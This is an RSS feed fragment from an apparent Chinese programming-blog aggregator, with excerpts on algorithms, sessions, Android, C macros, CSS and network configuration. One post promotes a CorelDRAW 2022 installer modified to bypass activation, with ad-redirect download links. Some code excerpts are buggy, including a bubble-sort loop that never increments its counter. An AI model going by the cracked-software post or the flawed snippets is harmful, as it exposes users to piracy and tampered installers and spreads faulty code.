      <guid>https://bchobby.github.io/posts/2f1f943dea5982d74c7bdef7ab805984/</guid>
      <description>十大排序算法 冒泡排序快速排序选择排序直接插入排序希尔排序归并排序堆排序计数排序基数排序桶排序 一、冒泡排序 原理：&#xA;两两比较相邻元素，如果顺序不对，则进行交换。达到使小数如气泡一样往上浮动（例如在数组中将元素左移），或者使大数如石头一样下沉（在数组中将元素右移）&#xA;步骤：&#xA;设待排序的n个元素存放在数组r[0…n-1] (注：此处数组下标从0开始)中，首先将第一个元素和第二个元素对比，如果(r[0] &amp;gt; r[1])则交换两个元素顺序。接着比较第二个和第三个元素。依次类推，直至r[n-2]和第r[n-1]进行比较。这个过程就是第一趟起泡排序，结果是最大的元素被放在了r[n-1]的位置(即最后一个位置)进行第二趟起泡排序，对前n-1个元素进行同样的操作，使第二大的数放在了r[n-2]的位置重复上述步骤，第i趟是从r[0]到r[n-i-1] （注：这里i也是从0开始）依次比较两个元素，并在逆序(前一个元素比后一个元素大)时交换顺序，结果是n-i个元素中值最大的数被放到了r[n-i-1]的位置。直到在某一趟排序过程中没有进行交换操作，说明序列已经全是顺序排列(从左到右元素从小到大排列) 代码实现：&#xA;int oriData[8] = {49,38,65,97,76,13,27,49}; void bubbleSprt(int* data, int len) { int flag = 1;&#x9;//用于记录某本趟排序是否发生顺序交换 for(int i = 0; (i &amp;lt; len) &amp;amp;&amp;amp; (flag == 1); i &amp;lt; len) { flag = 0;&#x9;//flag置为0，如果本趟Paiute没有发生交换，则说明全部数据已经是顺序排列，不需要再比较 for(int j = 0; j &amp;lt; len - i - 1; j++) { if(data[j] &amp;gt; data[j + 1]) { int tmp = data[j + 1]; data[j + 1] = data[j]; data[j] = tmp;&#x9;//交换顺序 flag = 1;&#x9;//表明本趟排序发生了交换 } } } return; } 算法分析：</description>
    </item>
    <item>
      <title>面试考点：session和cookie</title>
      <link>https://bchobby.github.io/posts/11fc1f33a08e3655275b53eb3d5e38ea/</link>
      <pubDate>Fri, 25 Mar 2022 16:19:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11fc1f33a08e3655275b53eb3d5e38ea/</guid>
      <description>文章目录 一、关于 cookie 的前言概括二、session 工作原理三、常用的方法3.1 getSession()3.2 getAttribute()和setAttribute() 四、关系总结图五、实操：实现登录功能并计算访问页面的次数5.1 登录页面实现（login.html）5.2 判断是否登录成功 Servlet 程序（LoginServlet）5.3 显示访问次数 Servlet 程序（IndexServlet）5.4 结果验证与展示 一、关于 cookie 的前言概括 在之前的 HTTP 格式的介绍当中，有详细的介绍过 cookie 的相关用法。&#xA;简单回顾总结就是：&#xA;cookie 是让程序员能够在客户端持久存储数据的一种机制存储的是程序员自己定义的键值对通过服务器响应 set-cookie 这个 header 获取到 cookie 的值，并保存到本地下一次请求就会带上 cookie ，发送给服务器 用户输入账号密码登录后，再次登录不需要再次输入账号密码就可以直接的登录成功就是依靠 cookie 来实现的&#xA;但是有关于用户的信息实际上是非常多的，比如访问网站的浏览记录，上次访问网站的时间等等，这么多的信息在服务器客户端之间传输来又去的非常浪费带宽。更何况 cookie 的存储容量又是有限的，一个站点最多保留20个 cookie，这么多的用户信息没有办法单纯的依靠 cookie 来保存在客户端，因此将数据保存到服务器端才是比较科学的做法。&#xA;二、session 工作原理 因为要将信息存储在服务器端，就引入了会话机制 session。&#xA;session是服务端存储的一个对象，主要用来存储所有访问过客户端网页的用户信息（也可以存储其他信息），从而实现保持用户会话状态。但是服务器重启时，内存会被销毁，存储的用户信息也就消失了。&#xA;面试题：详述 session 工作原理&#xA;当客户端登录完成后，就会在服务器端产生一个 session,，实际上是一个键值对，key 是 sessionId（随机唯一的字符串），value 保存的就是身份信息（HttpSession 对象）。服务器端将这些键值对形式的会话通过hash 表的形式管理起来此时服务器端就会将 sessionId返回到客户端浏览器。客户端将 sessionId 存储在浏览器的 cookie 中当用户再次登录的时候，就会拥有对应的 sessionId ，就将该 sessionId 发送到服务器端请求登录服务器端在内存中找到对应的 sessionId 就完成登录，如果找不到，说明还没有登录（每个用户登录都会生成一个会话），就返回登录页面让用户进行登录 session 工作原理和校园卡差不多，校园卡中实际上并没有保存太多的内容，但是有着它在学校中拥有的唯一的信息——学号。因此你（客户端）拎着这张卡，通过学号（相当于sessionId）就可以在系统中（服务器）搜索到有关于你的相关具体学生信息，就可以凭借卡进出宿舍大门，在图书馆借书，在食堂吃饭等等。</description>
    </item>
    <item>
      <title>Android 开发bug杂记</title>
      <link>https://bchobby.github.io/posts/54894b91639734cfb3111555086cc21d/</link>
      <pubDate>Fri, 25 Mar 2022 16:08:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54894b91639734cfb3111555086cc21d/</guid>
      <description>1.调用camera 时闪退，&#xA;原因，FileUriExposedException，/stxx/0/xx&#xA;解决：OnCreate中调用&#xA;if (Build.VERSION.SDK_INT &amp;gt;= Build.VERSION_CODES.N) {&#xA;StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();&#xA;StrictMode.setVmPolicy(builder.build());&#xA;}&#xA;原文链接：https://blog.csdn.net/xiaoyu940601/article/details/54406725&#xA;2.导入其他项目或者library时，V4,V7包冲突，&#xA;Error:Execution failed for task ‘:app:transformClassesWithDexForDebug’.&#xA;com.android.build.api.transform.TransformException: com.android.ide.common.process.ProcessException&#xA;解决：&#xA;解决方式一：&#xA;由于EaseUI中的v4 jar一般比较旧，所以果断将v4包从libs目录下删除，重新添加在线的依赖库v4包，在build.gradle中添加依赖：&#xA;这位博主的&#xA;https://x-sir.blog.csdn.net/article/details/53199272?spm=1001.2101.3001.6661.1&amp;amp;utm_medium=distribute.pc_relevant_t0.none-task-blog-2defaultCTRLISTRate-1.pc_relevant_antiscanv2&amp;amp;depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2defaultCTRLISTRate-1.pc_relevant_antiscanv2&amp;amp;utm_relevant_index=1&#xA;JNI开发中，如果有例子可供参考，那么对应的类名、包名都要与例子中的一致，不可更改 4.SwitchCompat控件运行时奔溃&#xA;解决： SwitchCompat时v7的style，需要theme.appcompat的主题才能用&#xA;控件属性加上 android:theme=&#34;@style/Theme.AppCompat.Light&#34;</description>
    </item>
    <item>
      <title>基于华为云平台上iMaster-NCE Campus的中继认证(RADIUS方式)方案简介及配置参考</title>
      <link>https://bchobby.github.io/posts/bf74a62d90258f8fc5f86223b8e16720/</link>
      <pubDate>Fri, 25 Mar 2022 15:32:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf74a62d90258f8fc5f86223b8e16720/</guid>
      <description>基于华为云平台上iMaster-NCE Campus的中继认证(RADIUS方式)方案简介及配置参考 功能概述 第三方认证主要应用于商业Wi-Fi终端用户在商场酒店、机场地铁、企业来访等情景通过Wi-Fi访问互联网的场景，需要对接入网络的访客进行用户认证，同时提供宣传，推荐及营销等功能，通过认证的访客被允许接入Wi-Fi使用网络。&#xA;第三方合作伙伴或开发者为接入访客提供认证Portal页面(如下图)，并调用华为iMaster NCE-Campus API授权接口，或通过标准RADIUS协议与iMaster NCE-Campus交互，从而实现认证、计费、用户分析、市场营销等服务。&#xA;环境拓扑 此方案涉及功能点如下：&#xA;1.华为网络设备(Cloud AP)提供接入网络等功能。&#xA;2.华为云平台(iMaster NCE-Campus)提供设备管理功能。&#xA;3.第三方Portal服务器提供Portal推送功能。&#xA;4.第三方RADIUS服务器提供用户信息校验，授权下发等功能。&#xA;认证流程 终端用户在需要访问互联网时，连接Wi-Fi的SSID，登录由第三方系统推送的Portal页面进行认证。随后第三方RADIUS系统与华为iMaster NCE-Campus云平台通过标准RADIUS协议对接，实现认证与计费功能。&#xA;配置流程 一.配置模板&#xA;1.进入模板配置。在主菜单中选择“设计 &amp;gt; 基础网络设计 &amp;gt; 模板管理”。&#xA;2.配置ACL模板，用于放通Portal和云平台的IP或域名，以及根据项目放通需要的其他地址(DNS，社交媒体等)。&#xA;3.配置URL模板，定义访问Portal Page URL时，传递的参数和取值。&#xA;4.配置RADIUS中继服务器模板，认证业务选择”Portal认证“，配置认证和计费服务器地址、密钥等信息。&#xA;二.配置Portal页面推送策略&#xA;云平台中继RADIUS认证模式下，用户需配置Portal 推送策略，并且url模版里要选用云平台中继认证的方式，终端关联WI-FI后，根据Portal推送策略给终端用户推送指定的Portal页面。&#xA;1.在主菜单中选择“准入 &amp;gt; 准入资源 &amp;gt; 页面管理”。选择“Portal页面推送策略”，单击“创建”。&#xA;a. 设置Portal页面推送名称，接入方式选择“无线”。&#xA;b. 配置认证方式为“云平台中继认证”，对接方式为“RADIUS中继”，URL模板选择配置模板章节中配置的模板，第三方认证URL填写相应的URL。并点击应用。&#xA;三.配置SSID&#xA;SSID是终端用户无线接入网络时看到的网络名称。每个SSID可以指定一种认证方式，从而实现对无线接入的终端用户准入控制。&#xA;本章描述作为中继服务器时，通过配置SSID使终端接入网络，进行RADIUS中继方式认证。&#xA;1.选择站点。&#xA;a. 在主菜单中选择“配置 &amp;gt; 物理网络 &amp;gt; 站点配置”。&#xA;b. 在左上角“站点”下拉框中选择站点，将该站点设为操作对象。&#xA;2.在左侧导航中选择“AP &amp;gt; SSID”，单击“创建”，配置SSID基本信息。并点击下一步。&#xA;4.配置终端用户使用SSID接入网络时的认证方式。&#xA;设置“认证方式”为“开放网络”，“是否推送页面（Portal认证）”为“ON”，“页面推送方式”为“云平台中继认证”，“对接方式”为“RADIUS中继”。&#xA;设置第三方Portal页面认证所需的用户名、密码等参数信息。下图中第三方Portal服务器用户名参数为username，密码参数为password，成功页面参数为successUrl。&#xA;5.配置RADIUS中继服务器和默认放行推送的Portal页面地址，配置默认放行规则，添加默认放行的地址或域名后，用户在认证前可访问该地址或域名。&#xA;RADIUS中继服务器和默认放行规则可以使用配置模板章节中创建的模板，也可以在当前页面直接创建。&#xA;6.配置Portal免认证和实时计费。&#xA;7.如果需要，可以开启Portal免认证功能和实时计费功能。&#xA;8.最后单击“确定”。&#xA;完成以上配置后，终端客户能连上SSID，并会跳转到portal页面进行认证，认证成功后可正常访问网络。&#xA;参考文档&#xA;1.华为云园区网络文档</description>
    </item>
    <item>
      <title>C语言高级用法---typeof()关键字</title>
      <link>https://bchobby.github.io/posts/e283962319b2a32e8b4f94e6e63f4b01/</link>
      <pubDate>Fri, 25 Mar 2022 15:15:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e283962319b2a32e8b4f94e6e63f4b01/</guid>
      <description>注：本文转载自https://blog.csdn.net/rosetta/article/details/90741468&#xA;前言 typeof() 是GUN C提供的一种特性，它可以取得变量的类型，或者表达式的类型。&#xA;本文总结了typeof()关键字的常见用法，并给出了相应的例子，以加深理解 。&#xA;typeof()关键字常见用法 typeof()关键字常见用法一共有以下几种。&#xA;不用知道函数返回什么类型，可以使用typeof()定义一个用于接收该函数返回值的变量&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; struct apple{ int weight; int color; }; struct apple *get_apple_info() { struct apple *a1; a1 = malloc(sizeof(struct apple)); if(a1 == NULL) { printf(&#34;malloc error.\n&#34;); return; } a1-&amp;gt;weight = 2; a1-&amp;gt;color = 1; return a1; } int main(int argc, char *argv[]) { typeof(get_apple_info()) r1;//定义一个变量r1,用于接收函数get_apple_info()返回的值，由于该函数返回的类型是：struct apple *，所以变量r1也是该类型。注意，函数不会执行。 r1 = get_apple_info(); printf(&#34;apple weight:%d\n&#34;, r1-&amp;gt;weight); printf(&#34;apple color:%d\n&#34;, r1-&amp;gt;color); return 0; } 在宏定义中动态获取相关结构体成员的类型</description>
    </item>
    <item>
      <title>C语言高级用法---container_of()</title>
      <link>https://bchobby.github.io/posts/493ce22c7c78d65b4e4e493660335273/</link>
      <pubDate>Fri, 25 Mar 2022 15:14:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/493ce22c7c78d65b4e4e493660335273/</guid>
      <description>注：本文转载自https://blog.csdn.net/rosetta/article/details/90751028&#xA;在Linux内核源码中，实现和链表相关的接口list_entry()时，会调用container_of()宏定义，它的作用是：给定结构体中某个成员的地址、该结构体类型和该成员的名字获取这个成员所在的结构体变量的首地址。有点绕，没关系，接着往下看就能明白了。&#xA;container_of()宏定义实现如下所示&#xA;/** * container_of - cast a member of a structure out to the containing structure * * @ptr: the pointer to the member. * @type: the type of the container struct this is embedded in. * @member: the name of the member within the struct. * */ #define container_of(ptr, type, member) ({ \ const typeof( ((type *)0)-&amp;gt;member ) *__mptr = (ptr); \ (type *)( (char *)__mptr - offsetof(type,member) );}) 要看懂上述代码，需要知道三个关键点：</description>
    </item>
    <item>
      <title>springboot多模块在创建一个可以独立部署的模块时遇到的坑</title>
      <link>https://bchobby.github.io/posts/1aa13c11ef1da09aebc3628d95d046ac/</link>
      <pubDate>Fri, 25 Mar 2022 14:03:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1aa13c11ef1da09aebc3628d95d046ac/</guid>
      <description>springboot多模块在创建一个可以独立部署的模块时遇到的坑 要在现有的项目新增一个新的模块该模块可以独立部署&#xA;思路：首先肯定是复制已有的模块来进行修改，创建启动类pom文件要集成maven统一管理插件&#xA;这个是我的模块，user-sign复制user-system模块，各自的启动类&#xA;接下来重点来了关于pom.xml文件&#xA;如果要让他自己能够运行则需要添加 特别是要引入配置模块和打包插件spring-boot-maven-plugin&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!-- ~ Copyright 2019-2029 geekidea(https://github.com/geekidea) ~ ~ Licensed under the Apache License, Version 2.0 (the &#34;License&#34;); ~ you may not use this file except in compliance with the License. ~ You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, software ~ distributed under the License is distributed on an &#34;</description>
    </item>
    <item>
      <title>力扣每日一题（难的我也不会）172. 阶乘后的零（2022.3.25）</title>
      <link>https://bchobby.github.io/posts/c025f9937965eaac5faba8bf5890acd9/</link>
      <pubDate>Fri, 25 Mar 2022 13:16:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c025f9937965eaac5faba8bf5890acd9/</guid>
      <description>172. 阶乘后的零&#xA;给定一个整数 n ，返回 n! 结果中尾随零的数量。&#xA;提示 n! = n * (n - 1) * (n - 2) * ... * 3 * 2 * 1&#xA;根据数学方法可以看出来，只有n是5的倍数时才会出现0，特殊的25，125，他们会产生两个0和三个0，对于五的倍数考虑一下就可以得出以下代码&#xA;class Solution { public int trailingZeroes(int n) { int res=0; for(int i=5;i&amp;lt;=n;i=i+5){ int t=i; while(t%5==0){ res++; t=t/5; } } return res; } } 结束！！！&#xA;开始学springcloud！！！</description>
    </item>
    <item>
      <title>解决flask中app引用不到的问题</title>
      <link>https://bchobby.github.io/posts/e5277d8d800a0bac499736beeb5b2483/</link>
      <pubDate>Fri, 25 Mar 2022 13:11:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5277d8d800a0bac499736beeb5b2483/</guid>
      <description>大型项目建议将app单独提出来定义&#xA;参考&#xA;https://github.com/xdqt/python-postgresql-flask-graphql&#xA;https://stackoverflow.com/questions/14415500/common-folder-file-structure-in-flask-app&#xA;https://flask.palletsprojects.com/en/2.0.x/patterns/packages/</description>
    </item>
    <item>
      <title>机器学习（吴恩达）简要总结</title>
      <link>https://bchobby.github.io/posts/867431753904d35a6a5e30d2fc85c03d/</link>
      <pubDate>Fri, 25 Mar 2022 12:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/867431753904d35a6a5e30d2fc85c03d/</guid>
      <description>机器学习知识简要总结 这里写目录标题 机器学习知识简要总结梯度下降法矩阵和向量多元线性回归：正规方程Normal equationlogistic回归过拟合问题正则化卷积神经网络模型选择和训练、验证、测试集评价指标无监督学习主成分分析 监督学习：给算法一个数据集，其中包含正确答案（有标记），数据集中的每个样本都给出正确答案，算法的目的是给出更多的正确答案。&#xA;无监督学习：对于给定的数据集，在未给出正确答案（无标记）的情况下将其分为不同的类，比如聚类算法。&#xA;回归：设法预测连续值的输出。&#xA;分类：预测离散值的输出。&#xA;线性回归:&#xA;拟合曲线Hypothesis： y = θ 0 + θ 1 x y=\theta_0+\theta_1x y=θ0​+θ1​x&#xA;平方误差代价函数Cost function： J ( θ 0 , θ 1 ) = 1 2 m ∑ i = 1 m ( h θ ( x ( i ) ) − y ( i ) ) 2 J(\theta_0,\theta_1)=\frac{1}{2m} \sum_{i=1}^{m}(h_\theta(x^{(i)})-y^{(i)})^2 J(θ0​,θ1​)=2m1​∑i=1m​(hθ​(x(i))−y(i))2， m m m为点的个数， y i y^i yi为真实值， y ( x i ) y\left(x^i\right) y(xi)表示函数值。</description>
    </item>
    <item>
      <title>a标签实现文件或者图片的下载</title>
      <link>https://bchobby.github.io/posts/d5a254fc889a87a1da37529dbbed5cef/</link>
      <pubDate>Fri, 25 Mar 2022 11:26:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5a254fc889a87a1da37529dbbed5cef/</guid>
      <description> 1、当src是从后端返回来的，我们可以把遍历出的每一项的url放在href里面，记得href前面加上:，实现动态的获取超文本链接&#xA;&amp;lt;a :href=&#34;item.url&#34; style=&#34;color: #6461ff&#34;&amp;gt;{{ item.name }}&amp;lt;/a&amp;gt; 2、当你是点击当前项下载当前文件或者图片的时候传递当前项，具体看代码注释。&#xA;添加的字符串的作用是访问页面的时候浏览器就会开启下载框对其内容进行下载&#xA;preview(file) { //判断当前项是否存在url let url = file.url || &#34;&#34;; //如果没有,组织程序向下执行 if (!url) { return; } else { //如果url存在，创建一个新的a标签 let a=document.createElement(&#39;a&#39;) //在a标签的超文本链接上拼上当前项的url,后面加上这一字符串才能实现下载功能 //注意:如果不加此字符串,文件可以实现下载,图片只能实现预览功能 a.href=url+&#39;?response-content-type=application/octet-stream&#39;; //手动调用一下a标签的点击事件,实现下载 a.click() } }, }, </description>
    </item>
    <item>
      <title>查找书籍-给定n本书的名称和定价，本题要求编写程序，查找并输出其中定价最高和最低的书的名称和定价。</title>
      <link>https://bchobby.github.io/posts/55d9ebf272789ddc9bd9fbc988cf0d7a/</link>
      <pubDate>Fri, 25 Mar 2022 09:56:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55d9ebf272789ddc9bd9fbc988cf0d7a/</guid>
      <description>给定n本书的名称和定价，本题要求编写程序，查找并输出其中定价最高和最低的书的名称和定价。&#xA;输入格式: 输入第一行给出正整数n（&amp;lt;10），随后给出n本书的信息。每本书在一行中给出书名，即长度不超过30的字符串，随后一行中给出正实数价格。题目保证没有同样价格的书。&#xA;输出格式: 在一行中按照“价格, 书名”的格式先后输出价格最高和最低的书。价格保留2位小数。&#xA;输入样例: 3 Programming in C 21.5 Programming in VB 18.5 Programming in Delphi 25.0 输出样例: 25.00, Programming in Delphi 18.50, Programming in VB 解析：结构体的题目，不要自己创建数组，太麻烦。有一点要注意，这里是输入一个带空格的字符串，所以不能用scanf，只能用gets。用gets又出现一个问题，前面要用scanf输入一个数字，那么你输入的回车就会被gets吃掉，所以再gets前要给一个scanf(“\n”)；防止吞吃回车。&#xA;//查找书籍 struct DATA { char name[30]; double price; }p[10], temp; int main() { int n = 0; scanf(&#34;%d&#34;, &amp;amp;n); for (int i = 0; i &amp;lt; n; i++) { scanf(&#34;\n&#34;); /*可能有些人不知道为啥呢要加这一步 ， 这是因为gets函数的问题，上一个输入n是回车键结束，如果不加 这部，那么gets函数接收到的就是回车（\n），它就结束了，并 没有把实际要输的字符串输入。 以后出现需要输入字符串但是前面又出现了scanf不妨加这一步， 就可以不用for循环输入，直接使用gets*/ gets(p[i].name); scanf(&#34;%lf&#34;, &amp;amp;p[i].</description>
    </item>
    <item>
      <title>AQS源码解析---以ReentrantLock为例</title>
      <link>https://bchobby.github.io/posts/d590c66d2f3e21bfa36cf96a9950ae45/</link>
      <pubDate>Thu, 24 Mar 2022 22:43:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d590c66d2f3e21bfa36cf96a9950ae45/</guid>
      <description>概述 学习并发编程，就必须要了解到AQS（AbstractQueuedSynchronizer）。比如经常使用的ReentrantLock就是继承的AQS，而且大部分的线程操作都是由AQS完成，ReentrantLock自身仅仅负责实现当前线程对共享资源的获取和释放功能。而AQS负责实现了对没有获取到资源的线程放入同步队列、阻塞、唤醒、溢出阻塞队列的操作。&#xA;其实对多线程获取资源分为三个步骤：&#xA;（1）线程尝试获取资源；&#xA;（2）将没有获取到资源的线程放入同步队列当中，线程进入等待状态（在此过程中，没有获取到资源的线程也会多次尝试重新获取资源）；&#xA;（3）在同步队列中陷入等待状态的线程被上一个节点中断等待，重新尝试获取资源。&#xA;架构 AQS的功能十分强大，既支持线程的共享资源抢占，也支持线程独占。这里先了解线程的资源独占方式。先明确两个概念：&#xA;（1）共享资源是否被抢占有一个信号标识，标识为0则资源未被抢占，可以在源码中看到大量的cas操作；&#xA;（2）线程在AQS中被封装成为一个node节点，node节点有前驱及后继，构成了等待队列。node节点有5中状态值：&#xA;CANCELLED(1)：表示当前结点已取消调度。当timeout或被中断（响应中断的情况下），会触发变更为此状态，进入该状态后的结点将不会再变化。&#xA;SIGNAL(-1)：表示后继结点在等待当前结点唤醒。后继结点入队时，会将前继结点的状态更新为SIGNAL。&#xA;CONDITION(-2)：表示结点等待在Condition上，当其他线程调用了Condition的signal()方法后，CONDITION状态的结点将从等待队列转移到同步队列中，等待获取同步锁。&#xA;PROPAGATE(-3)：共享模式下，前继结点不仅会唤醒其后继结点，同时也可能会唤醒后继的后继结点。&#xA;0：新结点入队时的默认状态，此状态下的线程代表是就绪或执行状态。&#xA;我们这里先关注默认值0和SIGNAL(-1)两种状态即可。&#xA;1、ReentrantLock资源抢占 ReentrantLock默认是非公平锁，因此当前线程会什么都不管，先进行一次cas操作尝试获取锁，如下：&#xA;final void lock() { //当前线程直接尝试获取资源 if (compareAndSetState(0, 1)) setExclusiveOwnerThread(Thread.currentThread()); else //开始进行后续的资源抢占方法 acquire(1); } 而如果是公平锁，则直接执行acquire(1)方法，这里是公平锁和非公平锁的区别之一，接下来还有一个地方可以展现两种锁的区别。&#xA;2、acquire() acquire()方法是在AQS中定义的，是对线程操作的入口方法，这里先进行大致说明。tryAcquire(arg)是让当前线程尝试获取资源，addWaiter(Node.EXCLUSIVE)是将当前线程封装为Node加入到等待队列，acquireQueued()是将线程执行park()方法进入到等待状态。&#xA;public final void acquire(int arg) { if (!tryAcquire(arg) &amp;amp;&amp;amp; acquireQueued(addWaiter(Node.EXCLUSIVE), arg)) selfInterrupt(); } 2.1、tryAcquire() 可以看下AQS当中的方法源码，没有任何的功能逻辑，只是抛出了个异常。没错，这个方法需要我们自己去实现。&#xA;protected boolean tryAcquire(int arg) { throw new UnsupportedOperationException(); } 那我们看下ReentrantLock的tryAcquire()方法，ReentrantLock实现了公平锁和非公平锁两种方式，我们先看非公平锁&#xA;protected final boolean tryAcquire(int acquires) { return nonfairTryAcquire(acquires); } 好吧，那我们继续 nonfairTryAcquire(acquires)方法</description>
    </item>
    <item>
      <title>c&#43;&#43;虚函数纯虚函数</title>
      <link>https://bchobby.github.io/posts/a8ca1e04c6355a9b36b9da8206ad6d25/</link>
      <pubDate>Thu, 24 Mar 2022 22:33:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8ca1e04c6355a9b36b9da8206ad6d25/</guid>
      <description>虚函数：用virtual关键字声明的； 纯虚函数：前面有virtual关键字，后面有=0； 纯虚函数的作用： 在c++中作为接口使用，因为c++没有专门的interface接口，就用纯虚函数来作为接口类。&#xA;抽象类 至少有一个纯虚函数的类，叫抽象类，注意是纯虚函数；抽象类只有一个用途：为派生类提供基类。抽象类不能实例化，但是抽象类可以有指针，指针就是用来操作衍生类。&#xA;知道纯虚函数是作为接口就行了，给被人写接口的时候用纯虚函数；&#xA;一般自己写经常用的还是虚函数，如果你预判这个方法在衍生类中会重写，那就把这个函数写成虚函数，子类中可以重写，也可以不重写，（如果是纯虚函数，必须重写）；&#xA;虚函数的子类继承了父类的接口和父类的实现，如果调用一个父类和子类都有的方法，那就是采用就近原则，如果子类中有自己的定义，那就调用自己的，如果子类中没有自己的定义，就去父类里面找，调用父类的，父类没有，就去祖父类中找。&#xA;父类的指针指向子类的对象；父类的指针=子类的指针；这个叫上行转换，这个是绝对安全的转换，而且是隐式的，不需要static_cast或者dynamical_cast；赋值的本质是把数据写入内存，这里主要就是 成员变量和虚函数表。成员函数不需要赋值，不需要写入内存。成员函数存储在全局数据区；下行转换并非绝对不可以，必要条件是基类中必须有虚函数，有虚函数，才说明子类中可能有实现。</description>
    </item>
    <item>
      <title>CorelDRAW Graphics Suite 2022零售版</title>
      <link>https://bchobby.github.io/posts/036a72cf311c33a9c7c95e76701a1b66/</link>
      <pubDate>Thu, 24 Mar 2022 22:15:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/036a72cf311c33a9c7c95e76701a1b66/</guid>
      <description>图形设计软件CorelDRAW Graphics Suite 2022零售版2022年3月版发布！CorelDRAW2022主要增强了图像编辑和导出功能，新功能加快了图片编辑速度，带来新工具、快捷方式和命令菜单，优化了学习工具。&#xA;CorelDRAW（简称CDR）是一款专业的图形设计软件。该软件是加拿大Corel公司开发的一款功能强大的专业平面设计软件、矢量设计软件、矢量绘图软件。这款矢量图形制作工具软件广泛应用于商标设计、标志制作、封面设计、CIS设计、产品包装造型设计、模型绘制、插图描画、时装/服饰设计、印刷制版、排版及分色输出等诸多领域。经历二十多年的发展与蜕变，CorelDRAW系列已经发布了21个版本，其被广泛应用足以说明，其用户涵盖图形设计、平面设计、图文设计、广告设计、商业设计和美术设计等多个领域行业。&#xA;版本特点&#xA;采用2022年3月发布的零售版，免激活处理改装而成&#xA;修改了安装配置文件：写入序列号和免账户登陆处理&#xA;﹂安装跳过用户许可协议，无需输入序列号直接跳过&#xA;﹂安装过程自动提权屏蔽通知警告弹窗&#xA;﹂取消安装完自动启动及打开帮助支持网页&#xA;删除额外的VC++运行库、VST组件安装包&#xA;删除几百多MB的用户指南帮助文档组件包&#xA;删除中文以外的其它多语言组件包&#xA;系统要求&#xA;Windows 11, Windows 10 (21H1 或更高版)64位&#xA;下载地址&#xA;mac直装安装包下载后在更新即可 :&#xA;https://wm.makeding.com/iclk/?zoneid=42701&#xA;win直装安装包下载后在更新即可 :&#xA;https://wm.makeding.com/iclk/?zoneid=41581&#xA;版权声明：本文为原创文章，遵循版权协议，转载请附上原文出处。</description>
    </item>
    <item>
      <title>csdn中使用KaTeX给公式编号</title>
      <link>https://bchobby.github.io/posts/81437ce8f9d5392939056ba2bf9b823c/</link>
      <pubDate>Thu, 24 Mar 2022 21:40:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81437ce8f9d5392939056ba2bf9b823c/</guid>
      <description>说明：csdn用的公式编辑器是Katex，并不是LaTeX，两者语法有些区别，比如LaTeX中的公式编号\begin{equation}在KateX中就会解析错误，katex中，给公式编号用\tag{1}的形式，例如：&#xA;E=mc^2\tag{1}实际的效果是：&#xA;E = m c 2 (1) E=mc^2\tag{1} E=mc2(1)&#xA;注意：\tag{}只能用在公式单独占一行的情况，即公式用$$$$包围的情况。&#xA;\tag{}在行首或者行尾都可以。&#xA;KATEX公式编辑器符号大全-CSDN的Mardown公式支持&#xA;LaTeX介绍：&#xA;LaTeX简介&#xA;快速查询某个数学符号对应的LaTeX表达式</description>
    </item>
    <item>
      <title>CSS居中方式总结</title>
      <link>https://bchobby.github.io/posts/3e6b622f301569b019c995aee7d056e7/</link>
      <pubDate>Thu, 24 Mar 2022 21:19:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e6b622f301569b019c995aee7d056e7/</guid>
      <description>行内元素 1.和其他元素都在同一行&#xA;2.高，行高及外边距和内边距部分可以改变&#xA;3.宽度只与内容有关&#xA;4.行内元素只能容纳文本或者其他行内元素&#xA;5.a,img,input,lable,select,sapn,textarea,font&#xA;块级元素 1.总是在新行上开始，占据一整行&#xA;2.高度，行高以及外边距和内边距都课控制&#xA;3.宽度始终与浏览器的宽度一样，与内容无关&#xA;4.可以容纳行内元素和其他块级元素&#xA;5.div,p,table,form,h1,h2,h3,dl,ol,ul,li&#xA;居中方式分为三种： 水平居中垂直居中水平垂直居中 水平居中 1.行内元素水平居中 利用text-align:center可以实现行内元素水平居中&#xA;对行内元素(inline)，行内块(inline-block)，行内表(inline-table)，inline-flex也有效果。&#xA;&amp;lt;div class=&#34;center-text&#34;&amp;gt; 简单是稳定的前提。 &amp;lt;/div&amp;gt; div { height:60px; border: 2px dashed #f69c55; } .center-text { text-align: center; } 2.块级元素水平居中 通过把固定宽度的块级元素的margin-left和margin-right设成auto,就可以使块级元素水平居中&#xA;&amp;lt;div&amp;gt; &amp;lt;p class=&#34;center-block&#34;&amp;gt; &amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; div { height:100px; border: 2px dashed #f69c55; } .center-block { margin: 0 auto; width: 8rem; padding:1rem; color:#fff; background:#000; } 3.多块级元素水平居中 方法一：利用inline-block&#xA;通过改变块级元素为inline-block和父容器的text-align属性来实现多块级元素水平居中&#xA;&amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;div class=&#34;center-block&#34;&amp;gt; 第一个块级元素 &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>集合框架最详细知识点含例题</title>
      <link>https://bchobby.github.io/posts/16c5424789afa87c6394f17cfc54a2f4/</link>
      <pubDate>Thu, 24 Mar 2022 19:12:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16c5424789afa87c6394f17cfc54a2f4/</guid>
